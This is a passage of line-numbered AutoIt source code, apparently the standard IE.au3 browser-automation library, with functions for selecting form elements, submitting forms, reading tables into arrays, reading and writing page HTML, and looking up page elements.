  1342.                                     If $ifireevent Then
  1343.                                         $oobject.fireevent("onChange")
  1344.                                         $oobject.fireevent("OnClick")
  1345.                                     EndIf
  1346.                                 EndIf
  1347.                                 Return SetError($_iestatus_success, 0, 1)
  1348.                             Case Else
  1349.                                 __ieconsolewriteerror("Error", "_IEFormElementOptionSelect", "$_IESTATUS_InvalidValue", "Invalid $iSelect value")
  1350.                                 Return SetError($_iestatus_invalidvalue, 3, 0)
  1351.                         EndSwitch
  1352.                     EndIf
  1353.                 Next
  1354.                 __ieconsolewriteerror("Warning", "_IEFormElementOptionSelect", "$_IESTATUS_NoMatch", "Text not matched")
  1355.                 Return SetError($_iestatus_nomatch, 2, 0)
  1356.             Case "byIndex"
  1357.                 Local $iindex = Number($sstring)
  1358.                 If $iindex < 0 OR $iindex >= $inumitems Then
  1359.                     __ieconsolewriteerror("Error", "_IEFormElementOptionSelect", "$_IESTATUS_InvalidValue", "Invalid index value, " & $iindex)
  1360.                     Return SetError($_iestatus_invalidvalue, 2, 0)
  1361.                 EndIf
  1362.                 $oitem = $oitems.item($iindex)
  1363.                 Switch $iselect
  1364.                     Case -1
  1365.                         Return SetError($_iestatus_success, 0, $oitems.item($iindex).selected)
  1366.                     Case 0
  1367.                         If NOT $bismultiple Then
  1368.                             __ieconsolewriteerror("Error", "_IEFormElementOptionSelect", "$_IESTATUS_InvalidValue", "$iSelect=0 only valid for type=select multiple")
  1369.                             Return SetError($_iestatus_invalidvalue, 3)
  1370.                         EndIf
  1371.                         If $oitem.selected Then
  1372.                             $oitems.item($iindex).selected = False
  1373.                             If $ifireevent Then
  1374.                                 $oobject.fireevent("onChange")
  1375.                                 $oobject.fireevent("OnClick")
  1376.                             EndIf
  1377.                         EndIf
  1378.                         Return SetError($_iestatus_success, 0, 1)
  1379.                     Case 1
  1380.                         If NOT $oitem.selected Then
  1381.                             $oitems.item($iindex).selected = True
  1382.                             If $ifireevent Then
  1383.                                 $oobject.fireevent("onChange")
  1384.                                 $oobject.fireevent("OnClick")
  1385.                             EndIf
  1386.                         EndIf
  1387.                         Return SetError($_iestatus_success, 0, 1)
  1388.                     Case Else
  1389.                         __ieconsolewriteerror("Error", "_IEFormElementOptionSelect", "$_IESTATUS_InvalidValue", "Invalid $iSelect value")
  1390.                         Return SetError($_iestatus_invalidvalue, 3, 0)
  1391.                 EndSwitch
  1392.             Case Else
  1393.                 __ieconsolewriteerror("Error", "_IEFormElementOptionSelect", "$_IESTATUS_InvalidValue", "Invalid Mode")
  1394.                 Return SetError($_iestatus_invalidvalue, 4, 0)
  1395.         EndSwitch
  1396.     EndFunc
  1397.  
  1398.     Func _ieformelementcheckboxselect(ByRef $oobject, $sstring, $sname = "", $iselect = 1, $smode = "byValue", $ifireevent = 1)
  1399.         If NOT IsObj($oobject) Then
  1400.             __ieconsolewriteerror("Error", "_IEFormElementCheckBoxSelect", "$_IESTATUS_InvalidDataType")
  1401.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1402.         EndIf
  1403.         If NOT __ieisobjtype($oobject, "form") Then
  1404.             __ieconsolewriteerror("Error", "_IEFormElementCheckBoxSelect", "$_IESTATUS_InvalidObjectType")
  1405.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1406.         EndIf
  1407.         $sstring = String($sstring)
  1408.         $sname = String($sname)
  1409.         Local $oitems
  1410.         If $sname = "" Then
  1411.             $oitems = _ietagnamegetcollection($oobject, "input")
  1412.         Else
  1413.             $oitems = Execute("$oObject.elements('" & $sname & "')")
  1414.         EndIf
  1415.         If NOT IsObj($oitems) Then
  1416.             __ieconsolewriteerror("Warning", "_IEFormElementCheckBoxSelect", "$_IESTATUS_NoMatch")
  1417.             Return SetError($_iestatus_nomatch, 3, 0)
  1418.         EndIf
  1419.         Local $oitem, $bfound = False
  1420.         Switch $smode
  1421.             Case "byValue"
  1422.                 If __ieisobjtype($oitems, "forminputelement") Then
  1423.                     $oitem = $oitems
  1424.                     If String($oitem.type) = "checkbox" AND String($oitem.value) = $sstring Then $bfound = True
  1425.                 Else
  1426.                     For $oitem In $oitems
  1427.                         If String($oitem.type) = "checkbox" AND String($oitem.value) = $sstring Then
  1428.                             $bfound = True
  1429.                             ExitLoop
  1430.                         EndIf
  1431.                     Next
  1432.                 EndIf
  1433.             Case "byIndex"
  1434.                 If __ieisobjtype($oitems, "forminputelement") Then
  1435.                     $oitem = $oitems
  1436.                     If String($oitem.type) = "checkbox" AND Number($sstring) = 0 Then $bfound = True
  1437.                 Else
  1438.                     Local $icount = 0
  1439.                     For $oitem In $oitems
  1440.                         If String($oitem.type) = "checkbox" AND Number($sstring) = $icount Then
  1441.                             $bfound = True
  1442.                             ExitLoop
  1443.                         Else
  1444.                             If String($oitem.type) = "checkbox" Then $icount += 1
  1445.                         EndIf
  1446.                     Next
  1447.                 EndIf
  1448.             Case Else
  1449.                 __ieconsolewriteerror("Error", "_IEFormElementCheckBoxSelect", "$_IESTATUS_InvalidValue", "Invalid Mode")
  1450.                 Return SetError($_iestatus_invalidvalue, 5, 0)
  1451.         EndSwitch
  1452.         If NOT $bfound Then
  1453.             __ieconsolewriteerror("Warning", "_IEFormElementCheckBoxSelect", "$_IESTATUS_NoMatch")
  1454.             Return SetError($_iestatus_nomatch, 2, 0)
  1455.         EndIf
  1456.         Switch $iselect
  1457.             Case -1
  1458.                 Return SetError($_iestatus_success, 0, $oitem.checked)
  1459.             Case 0
  1460.                 If $oitem.checked Then
  1461.                     $oitem.checked = False
  1462.                     If $ifireevent Then
  1463.                         $oitem.fireevent("onChange")
  1464.                         $oitem.fireevent("OnClick")
  1465.                     EndIf
  1466.                 EndIf
  1467.                 Return SetError($_iestatus_success, 0, 1)
  1468.             Case 1
  1469.                 If NOT $oitem.checked Then
  1470.                     $oitem.checked = True
  1471.                     If $ifireevent Then
  1472.                         $oitem.fireevent("onChange")
  1473.                         $oitem.fireevent("OnClick")
  1474.                     EndIf
  1475.                 EndIf
  1476.                 Return SetError($_iestatus_success, 0, 1)
  1477.             Case Else
  1478.                 __ieconsolewriteerror("Error", "_IEFormElementCheckBoxSelect", "$_IESTATUS_InvalidValue", "Invalid $iSelect value")
  1479.                 Return SetError($_iestatus_invalidvalue, 3, 0)
  1480.         EndSwitch
  1481.     EndFunc
  1482.  
  1483.     Func _ieformelementradioselect(ByRef $oobject, $sstring, $sname, $iselect = 1, $smode = "byValue", $ifireevent = 1)
  1484.         If NOT IsObj($oobject) Then
  1485.             __ieconsolewriteerror("Error", "_IEFormElementRadioSelect", "$_IESTATUS_InvalidDataType")
  1486.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1487.         EndIf
  1488.         If NOT __ieisobjtype($oobject, "form") Then
  1489.             __ieconsolewriteerror("Error", "_IEFormElementRadioSelect", "$_IESTATUS_InvalidObjectType")
  1490.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1491.         EndIf
  1492.         $sstring = String($sstring)
  1493.         $sname = String($sname)
  1494.         Local $oitems = Execute("$oObject.elements('" & $sname & "')")
  1495.         If NOT IsObj($oitems) Then
  1496.             __ieconsolewriteerror("Warning", "_IEFormElementRadioSelect", "$_IESTATUS_NoMatch")
  1497.             Return SetError($_iestatus_nomatch, 3, 0)
  1498.         EndIf
  1499.         Local $oitem, $bfound = False
  1500.         Switch $smode
  1501.             Case "byValue"
  1502.                 If __ieisobjtype($oitems, "forminputelement") Then
  1503.                     $oitem = $oitems
  1504.                     If String($oitem.type) = "radio" AND String($oitem.value) = $sstring Then $bfound = True
  1505.                 Else
  1506.                     For $oitem In $oitems
  1507.                         If String($oitem.type) = "radio" AND String($oitem.value) = $sstring Then
  1508.                             $bfound = True
  1509.                             ExitLoop
  1510.                         EndIf
  1511.                     Next
  1512.                 EndIf
  1513.             Case "byIndex"
  1514.                 If __ieisobjtype($oitems, "forminputelement") Then
  1515.                     $oitem = $oitems
  1516.                     If String($oitem.type) = "radio" AND Number($sstring) = 0 Then $bfound = True
  1517.                 Else
  1518.                     Local $icount = 0
  1519.                     For $oitem In $oitems
  1520.                         If String($oitem.type) = "radio" AND Number($sstring) = $icount Then
  1521.                             $bfound = True
  1522.                             ExitLoop
  1523.                         Else
  1524.                             $icount += 1
  1525.                         EndIf
  1526.                     Next
  1527.                 EndIf
  1528.             Case Else
  1529.                 __ieconsolewriteerror("Error", "_IEFormElementRadioSelect", "$_IESTATUS_InvalidValue", "Invalid Mode")
  1530.                 Return SetError($_iestatus_invalidvalue, 5, 0)
  1531.         EndSwitch
  1532.         If NOT $bfound Then
  1533.             __ieconsolewriteerror("Warning", "_IEFormElementRadioSelect", "$_IESTATUS_NoMatch")
  1534.             Return SetError($_iestatus_nomatch, 2, 0)
  1535.         EndIf
  1536.         Switch $iselect
  1537.             Case -1
  1538.                 Return SetError($_iestatus_success, 0, $oitem.checked)
  1539.             Case 0
  1540.                 If $oitem.checked Then
  1541.                     $oitem.checked = False
  1542.                     If $ifireevent Then
  1543.                         $oitem.fireevent("onChange")
  1544.                         $oitem.fireevent("OnClick")
  1545.                     EndIf
  1546.                 EndIf
  1547.                 Return SetError($_iestatus_success, 0, 1)
  1548.             Case 1
  1549.                 If NOT $oitem.checked Then
  1550.                     $oitem.checked = True
  1551.                     If $ifireevent Then
  1552.                         $oitem.fireevent("onChange")
  1553.                         $oitem.fireevent("OnClick")
  1554.                     EndIf
  1555.                 EndIf
  1556.                 Return SetError($_iestatus_success, 0, 1)
  1557.             Case Else
  1558.                 __ieconsolewriteerror("Error", "_IEFormElementRadioSelect", "$_IESTATUS_InvalidValue", "$iSelect value invalid")
  1559.                 Return SetError($_iestatus_invalidvalue, 4, 0)
  1560.         EndSwitch
  1561.     EndFunc
  1562.  
  1563.     Func _ieformimageclick(ByRef $oobject, $slinktext, $smode = "src", $iindex = 0, $iwait = 1)
  1564.         If NOT IsObj($oobject) Then
  1565.             __ieconsolewriteerror("Error", "_IEFormImageClick", "$_IESTATUS_InvalidDataType")
  1566.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1567.         EndIf
  1568.         Local $smodelinktext, $ifound = 0
  1569.         Local $otemp = _iedocgetobj($oobject)
  1570.         Local $oimgs = _ietagnamegetcollection($otemp, "input")
  1571.         $smode = StringLower($smode)
  1572.         $iindex = Number($iindex)
  1573.         For $oimg In $oimgs
  1574.             If String($oimg.type) = "image" Then
  1575.                 Select
  1576.                     Case $smode = "alt"
  1577.                         $smodelinktext = $oimg.alt
  1578.                     Case $smode = "name"
  1579.                         $smodelinktext = $oimg.name
  1580.                         If NOT IsString($smodelinktext) Then $smodelinktext = $oimg.id
  1581.                     Case $smode = "id"
  1582.                         $smodelinktext = $oimg.id
  1583.                     Case $smode = "src"
  1584.                         $smodelinktext = $oimg.src
  1585.                     Case Else
  1586.                         __ieconsolewriteerror("Error", "_IEFormImageClick", "$_IESTATUS_InvalidValue", "Invalid mode: " & $smode)
  1587.                         Return SetError($_iestatus_invalidvalue, 3, 0)
  1588.                 EndSelect
  1589.                 If StringInStr($smodelinktext, $slinktext) Then
  1590.                     If ($ifound = $iindex) Then
  1591.                         $oimg.click()
  1592.                         If @error Then
  1593.                             __ieconsolewriteerror("Error", "_IEFormImageClick", "$_IESTATUS_COMError", @error)
  1594.                             Return SetError($_iestatus_comerror, @error, 0)
  1595.                         EndIf
  1596.                         If $iwait Then
  1597.                             _ieloadwait($oobject)
  1598.                             Return SetError(@error, 0, -1)
  1599.                         EndIf
  1600.                         Return SetError($_iestatus_success, 0, -1)
  1601.                     EndIf
  1602.                     $ifound = $ifound + 1
  1603.                 EndIf
  1604.             EndIf
  1605.         Next
  1606.         __ieconsolewriteerror("Warning", "_IEFormImageClick", "$_IESTATUS_NoMatch")
  1607.         Return SetError($_iestatus_nomatch, 2, 0)
  1608.     EndFunc
  1609.  
  1610.     Func _ieformsubmit(ByRef $oobject, $iwait = 1)
  1611.         If NOT IsObj($oobject) Then
  1612.             __ieconsolewriteerror("Error", "_IEFormSubmit", "$_IESTATUS_InvalidDataType")
  1613.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1614.         EndIf
  1615.         If NOT __ieisobjtype($oobject, "form") Then
  1616.             __ieconsolewriteerror("Error", "_IEFormSubmit", "$_IESTATUS_InvalidObjectType")
  1617.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1618.         EndIf
  1619.         Local $owindow = $oobject.document.parentwindow
  1620.         $oobject.submit()
  1621.         If @error Then
  1622.             __ieconsolewriteerror("Error", "_IEFormSubmit", "$_IESTATUS_COMError", @error)
  1623.             Return SetError($_iestatus_comerror, @error, 0)
  1624.         EndIf
  1625.         If $iwait Then
  1626.             _ieloadwait($owindow)
  1627.             Return SetError(@error, 0, -1)
  1628.         EndIf
  1629.         Return SetError($_iestatus_success, 0, -1)
  1630.     EndFunc
  1631.  
  1632.     Func _ieformreset(ByRef $oobject)
  1633.         If NOT IsObj($oobject) Then
  1634.             __ieconsolewriteerror("Error", "_IEFormReset", "$_IESTATUS_InvalidDataType")
  1635.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1636.         EndIf
  1637.         If NOT __ieisobjtype($oobject, "form") Then
  1638.             __ieconsolewriteerror("Error", "_IEFormReset", "$_IESTATUS_InvalidObjectType")
  1639.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1640.         EndIf
  1641.         $oobject.reset()
  1642.         If @error Then
  1643.             __ieconsolewriteerror("Error", "_IEFormReset", "$_IESTATUS_COMError", @error)
  1644.             Return SetError($_iestatus_comerror, @error, 0)
  1645.         EndIf
  1646.         Return SetError($_iestatus_success, 0, 1)
  1647.     EndFunc
  1648.  
  1649. #EndRegion Form functions
  1650. #Region Table functions
  1651.  
  1652.     Func _ietablegetcollection(ByRef $oobject, $iindex = -1)
  1653.         If NOT IsObj($oobject) Then
  1654.             __ieconsolewriteerror("Error", "_IETableGetCollection", "$_IESTATUS_InvalidDataType")
  1655.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1656.         EndIf
  1657.         $iindex = Number($iindex)
  1658.         Select
  1659.             Case $iindex = -1
  1660.                 Return SetError($_iestatus_success, $oobject.document.getelementsbytagname("table").length, $oobject.document.getelementsbytagname("table"))
  1661.             Case $iindex > -1 AND $iindex < $oobject.document.getelementsbytagname("table").length
  1662.                 Return SetError($_iestatus_success, $oobject.document.getelementsbytagname("table").length, $oobject.document.getelementsbytagname("table").item($iindex))
  1663.             Case $iindex < -1
  1664.                 __ieconsolewriteerror("Error", "_IETableGetCollection", "$_IESTATUS_InvalidValue", "$iIndex < -1")
  1665.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  1666.             Case Else
  1667.                 __ieconsolewriteerror("Warning", "_IETableGetCollection", "$_IESTATUS_NoMatch")
  1668.                 Return SetError($_iestatus_nomatch, 1, 0)
  1669.         EndSelect
  1670.     EndFunc
  1671.  
  1672.     Func _ietablewritetoarray(ByRef $oobject, $btranspose = False)
  1673.         If NOT IsObj($oobject) Then
  1674.             __ieconsolewriteerror("Error", "_IETableWriteToArray", "$_IESTATUS_InvalidDataType")
  1675.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1676.         EndIf
  1677.         If NOT __ieisobjtype($oobject, "table") Then
  1678.             __ieconsolewriteerror("Error", "_IETableWriteToArray", "$_IESTATUS_InvalidObjectType")
  1679.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1680.         EndIf
  1681.         Local $icols = 0, $otds, $icol
  1682.         Local $otrs = $oobject.rows
  1683.         For $otr In $otrs
  1684.             $otds = $otr.cells
  1685.             $icol = 0
  1686.             For $otd In $otds
  1687.                 $icol = $icol + $otd.colspan
  1688.             Next
  1689.             If $icol > $icols Then $icols = $icol
  1690.         Next
  1691.         Local $irows = $otrs.length
  1692.         Local $atablecells[$icols][$irows]
  1693.         Local $irow = 0
  1694.         For $otr In $otrs
  1695.             $otds = $otr.cells
  1696.             $icol = 0
  1697.             For $otd In $otds
  1698.                 $atablecells[$icol][$irow] = String($otd.innertext)
  1699.                 If @error Then
  1700.                     __ieconsolewriteerror("Error", "_IETableWriteToArray", "$_IESTATUS_COMError", @error)
  1701.                     Return SetError($_iestatus_comerror, @error, 0)
  1702.                 EndIf
  1703.                 $icol = $icol + $otd.colspan
  1704.             Next
  1705.             $irow = $irow + 1
  1706.         Next
  1707.         If $btranspose Then
  1708.             Local $id1 = UBound($atablecells, $ubound_rows), $id2 = UBound($atablecells, $ubound_columns), $atmp[$id2][$id1]
  1709.             For $i = 0 To $id2 - 1
  1710.                 For $j = 0 To $id1 - 1
  1711.                     $atmp[$i][$j] = $atablecells[$j][$i]
  1712.                 Next
  1713.             Next
  1714.             $atablecells = $atmp
  1715.         EndIf
  1716.         Return SetError($_iestatus_success, 0, $atablecells)
  1717.     EndFunc
  1718.  
  1719. #EndRegion Table functions
  1720. #Region Read/Write functions
  1721.  
  1722.     Func _iebodyreadhtml(ByRef $oobject)
  1723.         If NOT IsObj($oobject) Then
  1724.             __ieconsolewriteerror("Error", "_IEBodyReadHTML", "$_IESTATUS_InvalidDataType")
  1725.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1726.         EndIf
  1727.         Return SetError($_iestatus_success, 0, $oobject.document.body.innerhtml)
  1728.     EndFunc
  1729.  
  1730.     Func _iebodyreadtext(ByRef $oobject)
  1731.         If NOT IsObj($oobject) Then
  1732.             __ieconsolewriteerror("Error", "_IEBodyReadText", "$_IESTATUS_InvalidDataType")
  1733.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1734.         EndIf
  1735.         If NOT __ieisobjtype($oobject, "browserdom") Then
  1736.             __ieconsolewriteerror("Error", "_IEBodyReadText", "$_IESTATUS_InvalidObjectType", "Expected document element")
  1737.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1738.         EndIf
  1739.         Return SetError($_iestatus_success, 0, $oobject.document.body.innertext)
  1740.     EndFunc
  1741.  
  1742.     Func _iebodywritehtml(ByRef $oobject, $shtml)
  1743.         If NOT IsObj($oobject) Then
  1744.             __ieconsolewriteerror("Error", "_IEBodyWriteHTML", "$_IESTATUS_InvalidDataType")
  1745.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1746.         EndIf
  1747.         If NOT __ieisobjtype($oobject, "browserdom") Then
  1748.             __ieconsolewriteerror("Error", "_IEBodyWriteHTML", "$_IESTATUS_InvalidObjectType", "Expected document element")
  1749.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1750.         EndIf
  1751.         $oobject.document.body.innerhtml = $shtml
  1752.         If @error Then
  1753.             __ieconsolewriteerror("Error", "_IEBodyWriteHTML", "$_IESTATUS_COMError", @error)
  1754.             Return SetError($_iestatus_comerror, @error, 0)
  1755.         EndIf
  1756.         Local $otemp = $oobject.document
  1757.         _ieloadwait($otemp)
  1758.         Return SetError(@error, 0, -1)
  1759.     EndFunc
  1760.  
  1761.     Func _iedocreadhtml(ByRef $oobject)
  1762.         If NOT IsObj($oobject) Then
  1763.             __ieconsolewriteerror("Error", "_IEDocReadHTML", "$_IESTATUS_InvalidDataType")
  1764.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1765.         EndIf
  1766.         If NOT __ieisobjtype($oobject, "browserdom") Then
  1767.             __ieconsolewriteerror("Error", "_IEDocReadHTML", "$_IESTATUS_InvalidObjectType", "Expected document element")
  1768.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1769.         EndIf
  1770.         Return SetError($_iestatus_success, 0, $oobject.document.documentelement.outerhtml)
  1771.     EndFunc
  1772.  
  1773.     Func _iedocwritehtml(ByRef $oobject, $shtml)
  1774.         If NOT IsObj($oobject) Then
  1775.             __ieconsolewriteerror("Error", "_IEDocWriteHTML", "$_IESTATUS_InvalidDataType")
  1776.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1777.         EndIf
  1778.         If NOT __ieisobjtype($oobject, "browserdom") Then
  1779.             __ieconsolewriteerror("Error", "_IEDocWriteHTML", "$_IESTATUS_InvalidObjectType", "Expected document element")
  1780.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1781.         EndIf
  1782.         $oobject.document.write($shtml)
  1783.         $oobject.document.close()
  1784.         Local $otemp = $oobject.document
  1785.         If @error Then
  1786.             __ieconsolewriteerror("Error", "_IEDocWriteHTML", "$_IESTATUS_COMError", @error)
  1787.             Return SetError($_iestatus_comerror, @error, 0)
  1788.         EndIf
  1789.         _ieloadwait($otemp)
  1790.         Return SetError(@error, 0, -1)
  1791.     EndFunc
  1792.  
  1793.     Func _iedocinserttext(ByRef $oobject, $sstring, $swhere = "beforeend")
  1794.         If NOT IsObj($oobject) Then
  1795.             __ieconsolewriteerror("Error", "_IEDocInsertText", "$_IESTATUS_InvalidDataType")
  1796.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1797.         EndIf
  1798.         If NOT __ieisobjtype($oobject, "browserdom") OR __ieisobjtype($oobject, "documentcontainer") OR __ieisobjtype($oobject, "document") Then
  1799.             __ieconsolewriteerror("Error", "_IEDocInsertText", "$_IESTATUS_InvalidObjectType", "Expected document element")
  1800.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1801.         EndIf
  1802.         $swhere = StringLower($swhere)
  1803.         Select
  1804.             Case $swhere = "beforebegin"
  1805.                 $oobject.insertadjacenttext($swhere, $sstring)
  1806.             Case $swhere = "afterbegin"
  1807.                 $oobject.insertadjacenttext($swhere, $sstring)
  1808.             Case $swhere = "beforeend"
  1809.                 $oobject.insertadjacenttext($swhere, $sstring)
  1810.             Case $swhere = "afterend"
  1811.                 $oobject.insertadjacenttext($swhere, $sstring)
  1812.             Case Else
  1813.                 __ieconsolewriteerror("Error", "_IEDocInsertText", "$_IESTATUS_InvalidValue", "Invalid where value")
  1814.                 Return SetError($_iestatus_invalidvalue, 3, 0)
  1815.         EndSelect
  1816.         If @error Then
  1817.             __ieconsolewriteerror("Error", "_IEDocInsertText", "$_IESTATUS_COMError", @error)
  1818.             Return SetError($_iestatus_comerror, @error, 0)
  1819.         EndIf
  1820.         Return SetError($_iestatus_success, 0, 1)
  1821.     EndFunc
  1822.  
  1823.     Func _iedocinserthtml(ByRef $oobject, $sstring, $swhere = "beforeend")
  1824.         If NOT IsObj($oobject) Then
  1825.             __ieconsolewriteerror("Error", "_IEDocInsertHTML", "$_IESTATUS_InvalidDataType")
  1826.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1827.         EndIf
  1828.         If NOT __ieisobjtype($oobject, "browserdom") OR __ieisobjtype($oobject, "documentcontainer") OR __ieisobjtype($oobject, "document") Then
  1829.             __ieconsolewriteerror("Error", "_IEDocInsertHTML", "$_IESTATUS_InvalidObjectType", "Expected document element")
  1830.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1831.         EndIf
  1832.         $swhere = StringLower($swhere)
  1833.         Select
  1834.             Case $swhere = "beforebegin"
  1835.                 $oobject.insertadjacenthtml($swhere, $sstring)
  1836.             Case $swhere = "afterbegin"
  1837.                 $oobject.insertadjacenthtml($swhere, $sstring)
  1838.             Case $swhere = "beforeend"
  1839.                 $oobject.insertadjacenthtml($swhere, $sstring)
  1840.             Case $swhere = "afterend"
  1841.                 $oobject.insertadjacenthtml($swhere, $sstring)
  1842.             Case Else
  1843.                 __ieconsolewriteerror("Error", "_IEDocInsertHTML", "$_IESTATUS_InvalidValue", "Invalid where value")
  1844.                 Return SetError($_iestatus_invalidvalue, 3, 0)
  1845.         EndSelect
  1846.         If @error Then
  1847.             __ieconsolewriteerror("Error", "_IEDocInsertHTML", "$_IESTATUS_COMError", @error)
  1848.             Return SetError($_iestatus_comerror, @error, 0)
  1849.         EndIf
  1850.         Return SetError($_iestatus_success, 0, 1)
  1851.     EndFunc
  1852.  
  1853.     Func _ieheadinserteventscript(ByRef $oobject, $shtmlfor, $sevent, $sscript)
  1854.         If NOT IsObj($oobject) Then
  1855.             __ieconsolewriteerror("Error", "_IEHeadInsertEventScript", "$_IESTATUS_InvalidDataType")
  1856.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1857.         EndIf
  1858.         Local $ohead = $oobject.document.all.tags("HEAD").item(0)
  1859.         Local $oscript = $oobject.document.createelement("script")
  1860.         If @error Then
  1861.             __ieconsolewriteerror("Error", "_IEHeadInsertEventScript(script)", "$_IESTATUS_COMError", @error)
  1862.             Return SetError($_iestatus_comerror, @error, 0)
  1863.         EndIf
  1864.         With $oscript
  1865.             .defer = True
  1866.             .language = "jscript"
  1867.             .type = "text/javascript"
  1868.             .htmlfor = $shtmlfor
  1869.             .event = $sevent
  1870.             .text = $sscript
  1871.         EndWith
  1872.         $ohead.appendchild($oscript)
  1873.         If @error Then
  1874.             __ieconsolewriteerror("Error", "_IEHeadInsertEventScript", "$_IESTATUS_COMError", @error)
  1875.             Return SetError($_iestatus_comerror, @error, 0)
  1876.         EndIf
  1877.         Return SetError($_iestatus_success, 0, 1)
  1878.     EndFunc
  1879.  
  1880. #EndRegion Read/Write functions
  1881. #Region Utility functions
  1882.  
  1883.     Func _iedocgetobj(ByRef $oobject)
  1884.         If NOT IsObj($oobject) Then
  1885.             __ieconsolewriteerror("Error", "_IEDocGetObj", "$_IESTATUS_InvalidDataType")
  1886.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1887.         EndIf
  1888.         If __ieisobjtype($oobject, "document") Then
  1889.             Return SetError($_iestatus_success, 0, $oobject)
  1890.         EndIf
  1891.         Return SetError($_iestatus_success, 0, $oobject.document)
  1892.     EndFunc
  1893.  
  1894.     Func _ietagnamegetcollection(ByRef $oobject, $stagname, $iindex = -1)
  1895.         If NOT IsObj($oobject) Then
  1896.             __ieconsolewriteerror("Error", "_IETagNameGetCollection", "$_IESTATUS_InvalidDataType")
  1897.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1898.         EndIf
  1899.         If NOT __ieisobjtype($oobject, "browserdom") Then
  1900.             __ieconsolewriteerror("Error", "_IETagNameGetCollection", "$_IESTATUS_InvalidObjectType")
  1901.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1902.         EndIf
  1903.         Local $otemp
  1904.         If __ieisobjtype($oobject, "documentcontainer") Then
  1905.             $otemp = _iedocgetobj($oobject)
  1906.         Else
  1907.             $otemp = $oobject
  1908.         EndIf
  1909.         $iindex = Number($iindex)
  1910.         Select
  1911.             Case $iindex = -1
  1912.                 Return SetError($_iestatus_success, $otemp.getelementsbytagname($stagname).length, $otemp.getelementsbytagname($stagname))
  1913.             Case $iindex > -1 AND $iindex < $otemp.getelementsbytagname($stagname).length
  1914.                 Return SetError($_iestatus_success, $otemp.getelementsbytagname($stagname).length, $otemp.getelementsbytagname($stagname).item($iindex))
  1915.             Case $iindex < -1
  1916.                 __ieconsolewriteerror("Error", "_IETagNameGetCollection", "$_IESTATUS_InvalidValue", "$iIndex < -1")
  1917.                 Return SetError($_iestatus_invalidvalue, 3, 0)
  1918.             Case Else
  1919.                 __ieconsolewriteerror("Error", "_IETagNameGetCollection", "$_IESTATUS_NoMatch")
  1920.                 Return SetError($_iestatus_nomatch, 0, 0)
  1921.         EndSelect
  1922.     EndFunc
  1923.  
  1924.     Func _ietagnameallgetcollection(ByRef $oobject, $iindex = -1)
  1925.         If NOT IsObj($oobject) Then
  1926.             __ieconsolewriteerror("Error", "_IETagNameAllGetCollection", "$_IESTATUS_InvalidDataType")
  1927.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1928.         EndIf
  1929.         If NOT __ieisobjtype($oobject, "browserdom") Then
  1930.             __ieconsolewriteerror("Error", "_IETagNameAllGetCollection", "$_IESTATUS_InvalidObjectType")
  1931.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1932.         EndIf
  1933.         Local $otemp
  1934.         If __ieisobjtype($oobject, "documentcontainer") Then
  1935.             $otemp = _iedocgetobj($oobject)
  1936.         Else
  1937.             $otemp = $oobject
  1938.         EndIf
  1939.         $iindex = Number($iindex)
  1940.         Select
  1941.             Case $iindex = -1
  1942.                 Return SetError($_iestatus_success, $otemp.all.length, $otemp.all)
  1943.             Case $iindex > -1 AND $iindex < $otemp.all.length
  1944.                 Return SetError($_iestatus_success, $otemp.all.length, $otemp.all.item($iindex))
  1945.             Case $iindex < -1
  1946.                 __ieconsolewriteerror("Error", "_IETagNameAllGetCollection", "$_IESTATUS_InvalidValue", "$iIndex < -1")
  1947.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  1948.             Case Else
  1949.                 __ieconsolewriteerror("Error", "_IETagNameAllGetCollection", "$_IESTATUS_NoMatch")
  1950.                 Return SetError($_iestatus_nomatch, 1, 0)
  1951.         EndSelect
  1952.     EndFunc
  1953.  
  1954.     Func _iegetobjbyname(ByRef $oobject, $sname, $iindex = 0)
  1955.         If NOT IsObj($oobject) Then
  1956.             __ieconsolewriteerror("Error", "_IEGetObjByName", "$_IESTATUS_InvalidDataType")
  1957.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1958.         EndIf
  1959.         $iindex = Number($iindex)
  1960.         If $iindex = -1 Then
  1961.             Return SetError($_iestatus_success, $oobject.document.getelementsbyname($sname).length, $oobject.document.getelementsbyname($sname))
  1962.         Else
  1963.             If IsObj($oobject.document.getelementsbyname($sname).item($iindex)) Then
  1964.                 Return SetError($_iestatus_success, $oobject.document.getelementsbyname($sname).length, $oobject.document.getelementsbyname($sname).item($iindex))
  1965.             Else
  1966.                 __ieconsolewriteerror("Warning", "_IEGetObjByName", "$_IESTATUS_NoMatch", "Name: " & $sname & ", Index: " & $iindex)
  1967.                 Return SetError($_iestatus_nomatch, 0, 0)
  1968.             EndIf
  1969.         EndIf
  1970.     EndFunc
  1971.  
  1972.     Func _iegetobjbyid(ByRef $oobject, $sid)
  1973.         If NOT IsObj($oobject) Then
